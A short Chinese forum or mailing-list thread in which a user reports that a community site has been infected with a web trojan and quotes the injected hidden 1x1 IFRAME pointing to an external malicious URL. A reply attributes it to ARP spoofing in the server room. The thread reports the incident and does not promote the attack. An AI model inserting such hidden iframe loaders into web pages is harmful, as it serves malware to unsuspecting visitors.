盒子被挂马了

[webfly]

盒子被挂马了，早上开盒子发现在加载一个陌生网页，web迅雷随之打开，一看就是盒子被人挂了web迅雷的马，打开源文件发现顶上有这么一句
<IFRAME SRC=http://mm.987999.com/a.htm width=1 height=1
frameborder=0></IFRAME>，两种可能：
1、盒子站点被人拿下或者所在服务器被拿下，直接在源文件里面插了代码
2、盒子服务器所在机房某台机器被拿下，正在arp，估计这种可能性比较大，希望站长抓紧落实，盒子访问量这么大，那个挂马的无耻之徒爽死了~

[馒头]

是因为服务器机房网络有人中了ARP导致的,具体请看这里:http://bbs.2ccc.com/topic.asp?
topicid=268888

On 7月13日, 上午8时26分, webfly <web...@gmail.com> wrote:
> 盒子被挂马了，早上开盒子发现在加载一个陌生网页，web迅雷随之打开，一看就是盒子被人挂了web迅雷的马，打开源文件发现顶上有这么一句

> <IFRAME SRC=http://mm.987999.com/a.htmwidth=1 height=1